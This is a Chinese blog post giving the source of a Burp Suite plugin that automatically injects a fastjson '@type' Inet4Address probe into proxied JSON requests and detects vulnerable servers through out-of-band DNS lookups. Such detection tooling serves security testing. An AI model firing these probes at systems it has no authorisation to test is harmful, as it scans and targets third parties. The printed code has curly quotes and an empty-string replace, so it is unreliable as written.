通过dnslog自动化探测fastjson（burp插件）

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前段时间为了方便探测fastjson写的一个小插件，在抓包测试的同时第一时间可进行探测是否存在fastjson漏洞

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from burp import IBurpExtender
from burp import ITab
from burp import IHttpListener
from burp import IMessageEditorController
from burp import IHttpRequestResponse
from burp import IResponseInfo
from burp import IRequestInfo
from burp import IHttpService
from burp import IContextMenuFactory
import re
from java.awt import Component;
from java.io import PrintWriter;
from java.util import ArrayList;
from java.util import List;
from javax.swing import JScrollPane;
from javax.swing import JSplitPane;
from javax.swing import JTabbedPane;
from javax.swing import JTable;
from javax.swing import SwingUtilities;
from javax.swing.table import AbstractTableModel;
from threading import Lock
import json

print """Fastjson By:lunlun 
Payload:{"@type":"java.net.Inet4Address","val":"xxxx.xxxx.com"}
----------------------------------------------------------------"""

black_ext = (‘.jpg‘,‘.js‘,‘.css‘,‘.ico‘,‘.gif‘,‘.swf‘,‘woff‘,‘.png‘,‘.jpeg‘,‘.woff2‘,‘.svg‘,‘.mp4‘,‘.flv‘)
black_ext_list = (‘.jpg?‘,‘.js?‘,‘.css?‘,‘.ico?‘,‘.gif?‘,‘.swf?‘,‘.woff?‘,‘.png?‘,‘.jpeg?‘,‘.woff2?‘)
black_host = (‘.wyzxxz.com‘,‘.aliyuncs.com‘,‘.alicdn.com‘)

class BurpExtender(IBurpExtender, ITab, IHttpListener, IMessageEditorController, AbstractTableModel):
    
    
    def	registerExtenderCallbacks(self, callbacks):

        self._callbacks = callbacks
        
        self._helpers = callbacks.getHelpers()
        
        callbacks.setExtensionName("fastjson")

        self.collaboratorContext = callbacks.createBurpCollaboratorClientContext()
        self.payload = self.collaboratorContext.generatePayload(True)

        print str(self.payload)
        
        self._log = ArrayList()
        self._lock = Lock()
        
        self._splitpane = JSplitPane(JSplitPane.VERTICAL_SPLIT)
        
        logTable = Table(self)
        scrollPane = JScrollPane(logTable)
        print scrollPane
        self._splitpane.setLeftComponent(scrollPane)

        tabs = JTabbedPane()
        self._requestViewer = callbacks.createMessageEditor(self, False)
        self._responseViewer = callbacks.createMessageEditor(self, False)
        tabs.addTab("Request", self._requestViewer.getComponent())
        tabs.addTab("Response", self._responseViewer.getComponent())
        self._splitpane.setRightComponent(tabs)
        
        callbacks.customizeUiComponent(self._splitpane)
        callbacks.customizeUiComponent(logTable)
        callbacks.customizeUiComponent(scrollPane)
        callbacks.customizeUiComponent(tabs)
        
        callbacks.addSuiteTab(self)
        
        callbacks.registerHttpListener(self)
        
        return
        
    
    def getTabCaption(self):
        return "FastjsonScan"
    
    def getUiComponent(self):
        return self._splitpane
        

    def processHttpMessage(self, toolFlag, messageIsRequest, messageInfo):
        if toolFlag == 64 or toolFlag == 16 or toolFlag == 8 or toolFlag == 4:
            if not messageIsRequest:
                response = messageInfo.getResponse()
                analyzedResponse = self._helpers.analyzeResponse(response)
                response_headers = analyzedResponse.getHeaders()
                response_bodys = response[analyzedResponse.getBodyOffset():].tostring()
                response_StatusCode = analyzedResponse.getStatusCode()

                resquest = messageInfo.getRequest()
                analyzedRequest = self._helpers.analyzeResponse(resquest)
                request_header = analyzedRequest.getHeaders()
                request_bodys = resquest[analyzedRequest.getBodyOffset():].tostring()

                httpService = messageInfo.getHttpService()
                port = httpService.getPort()
                host = httpService.getHost()

                re_cc=re.compile(r‘GET(.+)HTTP/1.1|POST(.+)HTTP/1.1‘)
                cc_re=re.findall(re_cc,request_header[0])
                for url in cc_re:
                    if str(url).strip().endswith(black_ext) or host.endswith(black_host) or any(x in str(url).strip() for x in black_ext_list):
                        pass
                    else:
                        request_bodyso=request_bodys
                        try:
                            if json.loads(request_bodyso):
                                request_bodyss=request_bodyso.replace("",‘{"@type":"java.net.Inet4Address","val":"‘+str(self.payload).strip()+‘"}‘)
                                req = self._helpers.buildHttpMessage(request_header, request_bodyss)
                                ishttps = False
                                if port == 443:
                                    ishttps = True
                                rep = self._callbacks.makeHttpRequest(host, port, ishttps, req)
                                analyzedreq = self._helpers.analyzeResponse(rep)
                                req_headers = analyzedreq.getHeaders()
                                req_bodys = req[analyzedreq.getBodyOffset():].tostring()
                                if self.collaboratorContext.fetchAllCollaboratorInteractions():
                                    print "Fastjson"
                                    messageInfo.setHighlight(‘red‘)
                                    self._lock.acquire()
                                    row = self._log.size()
                                    self._log.add(LogEntry(toolFlag, self._callbacks.saveBuffersToTempFiles(messageInfo), self._helpers.analyzeRequest(messageInfo).getUrl()))
                                    self.fireTableRowsInserted(row, row)
                                    self._lock.release()

                        except:
                            pass

    
    def getRowCount(self):
        try:
            return self._log.size()
        except:
            return 0

    def getColumnCount(self):
        return 2

    def getColumnName(self, columnIndex):
        if columnIndex == 0:
            return "Tool"
        if columnIndex == 1:
            return "URL"
        return ""

    def getValueAt(self, rowIndex, columnIndex):
        logEntry = self._log.get(rowIndex)
        if columnIndex == 0:
            return self._callbacks.getToolName(logEntry._tool)
        if columnIndex == 1:
            return logEntry._url.toString()
        return ""

    
    def getHttpService(self):
        return self._currentlyDisplayedItem.getHttpService()

    def getRequest(self):
        return self._currentlyDisplayedItem.getRequest()

    def getResponse(self):
        return self._currentlyDisplayedItem.getResponse()

    
class Table(JTable):
    def __init__(self, extender):
        self._extender = extender
        self.setModel(extender)
    
    def changeSelection(self, row, col, toggle, extend):
    
        logEntry = self._extender._log.get(row)
        self._extender._requestViewer.setMessage(logEntry._requestResponse.getRequest(), True)
        self._extender._responseViewer.setMessage(logEntry._requestResponse.getResponse(), False)
        self._extender._currentlyDisplayedItem = logEntry._requestResponse
        
        JTable.changeSelection(self, row, col, toggle, extend)
    

class LogEntry:
    def __init__(self, tool, requestResponse, url):
        self._tool = tool
        self._requestResponse = requestResponse
        self._url = url

通过dnslog自动化探测fastjson（burp插件）

标签：--   UNC   ORC   contex   ice   customize   lun   约束   ica   

原文地址：https://www.cnblogs.com/jicklun/p/13944219.html